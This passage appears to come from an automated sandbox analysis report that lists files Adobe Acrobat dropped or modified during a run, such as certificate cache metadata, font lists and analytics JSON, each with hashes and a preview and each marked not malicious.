Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFkl45GDtfllXlE/HT8kL/JtNNX8RolJuRdxLlGB9lQRYwpDdt:kKhYDeT8k/RNMa8RdWBwRd
MD5:	6620BED7E43A4486579AB71390EF1F97
SHA1:	323F9CA7CDE17CF490BA65AF90142EE4868EA2D8
SHA-256:	0CCE12D319671931BBA0CB3BADC65046A5BDA60B445C6647A78A2AEB08FA9F7C
SHA-512:	85E0C458DC3052ED4794374D494AAC8363EF7BED4036AD6C9D07D8FC62D9F6FF948005A7E5C0FAED399D61B4ECCDC92A19E6B8408805585775432A5478924C15
Malicious:	false
Preview:	p...... ........K...c..(....................................................... ..........W....z...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2297327574367265
Encrypted:	false
SSDEEP:	6:kKk3L/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:uL/iDImsLNkPlE99SNxAhUe/3
MD5:	D0780000CABB83F291D707E0CED9806A
SHA1:	2968F2EB5BDA486C60FBE8989B64768EF982D262
SHA-256:	7B063729CC53FFD9BA17857F412EB46DA4BD42C482419651C2EB74BABA5A5E62
SHA-512:	66F4304DD70B5F1755BDF2E1F5F8EDE8C0025A0D0047DF1AD8F8B8834608720127CB522DA0A692A4A4B570DB9D09E5969E4B301DE16D2BBE427F768CB7C32DF2
Malicious:	false
Preview:	p...... ........]....c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6476

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6476

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.342875872256191
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaAk8+Oo+FIbRI6XVW7+0YeVoAvJM3g98kUwPeUkwRe9:YvXKXq6YpW77KGMbLUkee9
MD5:	1BE46BCB2118242AC1437A744C04F14B
SHA1:	2708AAB1EDC2C5024A661A4D1D7AE1212D73952E
SHA-256:	5552C50F7765D820F8F82688F5C241D736BE35465F7BC0ABE03CC4400588DE0A
SHA-512:	03722615E8FA3321439CF87EF28BF57536B9734E41030598B1E9F8E92DA55744637E7519C1F6E90096A2C30257B7B90084530858F187779722E4FFF3D2725125
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dcd02079-a3ed-4885-96d3-d53552616c40","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736722156324,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.284351032743832
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaAk8+Oo+FIbRI6XVW7+0YeVoAvJfBoTfXpnrPeUkwRe9:YvXKXq6YpW77KGWTfXcUkee9
MD5:	2A3C8CA9A8ED7A0506B001C4440D78B7
SHA1:	58E8F09BFC3E11E5D7659DE665CB1FE57B07834A
SHA-256:	BBA758B4B5682F3BB759FACBF5BA3A4414B8B35D2322A5B3243C4F4FE855D50A
SHA-512:	65F80662217A8510C0E9624A20AA84B44E286E1F902D986B5E0A649E78385885F20D39F1673DFA7094C6B0DE5C585A6A59156938954FB3DA9EC06330FF0CF3FA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dcd02079-a3ed-4885-96d3-d53552616c40","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736722156324,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.262610528101639
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaAk8+Oo+FIbRI6XVW7+0YeVoAvJfBD2G6UpnrPeUkwRe9:YvXKXq6YpW77KGR22cUkee9
MD5:	6064B2B81124F3457F8DC2FA863F2C0E
SHA1:	86DF66ADBC4AA4F7732B59B6CD220C87371AB8BB
SHA-256:	36B1BE87F85599EEA10FBC87CAF9AE65417F317AD19842F829962024E1D6FA99
SHA-512:	A54EAC02559B6A13ED3A4C7BCC929BFC9E55F277192643671AFAF839E106AEC4388FE28C011DF1075530FF343F593327DF013E9A90030F8590544B1932DEAD67
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dcd02079-a3ed-4885-96d3-d53552616c40","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736722156324,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.321049889767636
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaAk8+Oo+FIbRI6XVW7+0YeVoAvJfPmwrPeUkwRe9:YvXKXq6YpW77KGH56Ukee9
MD5:	ABB54E39747A40C6A90230D5162BC79E
SHA1:	7DD28D20783FB42E929B8F4723015A143F48DCF6
SHA-256:	846E809D558FD4093C3C4582915DC01603117DA32A4C1B86F53A90F273B342D3
SHA-512:	0A243707AF22A0932EC8645572D57203C64FD3FD1D1ACAB8BCEC5D53CE65BD705C6C0D4F880DEEFF231040208197DC5D0E2DC1DDDADE8EA42465CC1376729C7B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dcd02079-a3ed-4885-96d3-d53552616c40","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736722156324,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6845444335898305
Encrypted:	false
SSDEEP:	24:Yv6XyiTpLgE9cQx8LennAvzBvkn0RCmK8czOCCS9:YvuThgy6SAFv5Ah8cv/9
MD5:	BED76E1FFBBCF3CB23993D8092D882B7
SHA1:	AC79D19D03D69BCC25A324AEE63931C08EF5F756
SHA-256:	7BF952DCD7389FFD777E2E647D7A41AAA627D8243C8E06B539033F1AC3DE5762
SHA-512:	E9FA4E5304FD4CD42BD8BF079899B9C394EB6D4F43015F1EDDD1A0ABF9D946EB435ED96110A8878F3867B5E6075BDB9BBA2F2AB89D083581CD80B692A684A635
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dcd02079-a3ed-4885-96d3-d53552616c40","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736722156324,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.264421091037234
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaAk8+Oo+FIbRI6XVW7+0YeVoAvJf8dPeUkwRe9:YvXKXq6YpW77KGU8Ukee9
MD5:	AEDEEAED4CB2E2BE8F83510138532944
SHA1:	E0A53E8C36FF326220991748814FAE7287ECEF8A
SHA-256:	813F822FE3D5881BF4ACCA496514EB8DA67CA3561727618960CA382F697F045E
SHA-512:	05B591CE9147EE33409C1A5B1642BA295AF62BF5876B74FAB7312EEA7DF7A66BDD55465AF43D783551083E16F1223D1297D84BF9A0FE46D36FA672960A6C716F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dcd02079-a3ed-4885-96d3-d53552616c40","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736722156324,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.265741829205
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaAk8+Oo+FIbRI6XVW7+0YeVoAvJfQ1rPeUkwRe9:YvXKXq6YpW77KGY16Ukee9
MD5:	058A205C78452E8C6BBCE886B72E3028
SHA1:	3EAFE4F716AABE285190063A31E20325CC95D0E5
SHA-256:	132D56E0443201657D3F6F4F75CFDD7C880101DBEF59E87BC24A259549461CC5
SHA-512:	0C4010C95B582FF82B440BE9C45DE46277418BC9135B72E27CCA41B56C2EAE63D64A2795DCCAED35FCDF2BE8B57B021B8707E35EF28F4BA974505E3C07B5494E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dcd02079-a3ed-4885-96d3-d53552616c40","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736722156324,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.282761020525831
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaAk8+Oo+FIbRI6XVW7+0YeVoAvJfFldPeUkwRe9:YvXKXq6YpW77KGz8Ukee9
MD5:	BC311F114029E9BAE5632E44ACCEFE8F
SHA1:	C3D03676F44A07F130F56CE68BDB9A0F4BA57133
SHA-256:	8DD43152A68AB88981E41726308A2FFD87850C9CA745458CE665A221520D973F
SHA-512:	DEEC6B48BE841B168B838B7809C20EB6EFBD9A5CF6DA62D049B511379E70BDFB20663062C392570D277B643078D27079E62FC95D81ABDC25E0338A7CA3949E31
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dcd02079-a3ed-4885-96d3-d53552616c40","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736722156324,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.292886848487001
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaAk8+Oo+FIbRI6XVW7+0YeVoAvJfzdPeUkwRe9:YvXKXq6YpW77KGb8Ukee9
MD5:	E3F9AA6266D15284ED9410BE90A00DAF
SHA1:	55CF0AF700B22F857FBDFA98B427EE98CA7C264E
SHA-256:	4A708898207155D71A12B0CB5AB84F535F904628ED274ADB77C0EB8BDFC78074
SHA-512:	63E50428EC532348ACC88F6FA6D2DAC6E5D478FE904B4895854A5147B2D98EBE4D8006886A2E06D8B31FDD65C2720ADEAF0F950FF3E526688AD9DBF87980DA0E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dcd02079-a3ed-4885-96d3-d53552616c40","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736722156324,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.272687082409339
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaAk8+Oo+FIbRI6XVW7+0YeVoAvJfYdPeUkwRe9:YvXKXq6YpW77KGg8Ukee9
MD5:	D67527BECE4AD3E81EB1E611286225DD
SHA1:	1D370463B2B9B6D07D0D7B3F86136138AD623A44
SHA-256:	37980A13FB75460003EA1B524CE63E75C1C74BD7FBB456AB2FF90F31E422A722
SHA-512:	CAC20A109DD3AFC73A42544409FD5D5FCAD9A0B7994199C44F04636D7B22BC377950AE4257A20BF28E255268FD4EFAC3F1BCFB5CCBD6FDD577C1E746E25E535A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dcd02079-a3ed-4885-96d3-d53552616c40","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736722156324,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.258256594007026
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaAk8+Oo+FIbRI6XVW7+0YeVoAvJf+dPeUkwRe9:YvXKXq6YpW77KG28Ukee9
MD5:	6B943DF528177BEB90BF120CD6FD9141
SHA1:	A74713A9D03751221EE19AAA9057B67208502178
SHA-256:	2C0BFB56DC63971580259073AC584F0EA2693316BA3070DC8D163CF8EE7B780E
SHA-512:	2EC0E3C09F5F7CE1A1B803B93A8B6A7FBF5AC41CAD9F50CE32E542079A4F6A60705912FE60CB702E366B5C272FD94A86A4597E7FE3DF4AFBD507C7E3F99C059F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dcd02079-a3ed-4885-96d3-d53552616c40","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736722156324,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.256421897729875
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaAk8+Oo+FIbRI6XVW7+0YeVoAvJfbPtdPeUkwRe9:YvXKXq6YpW77KGDV8Ukee9
MD5:	4D867A561BD910E5AFAD40571E1A271A
SHA1:	00072D5CC847C434E9DC62FAA5BEE197A51CB7C5
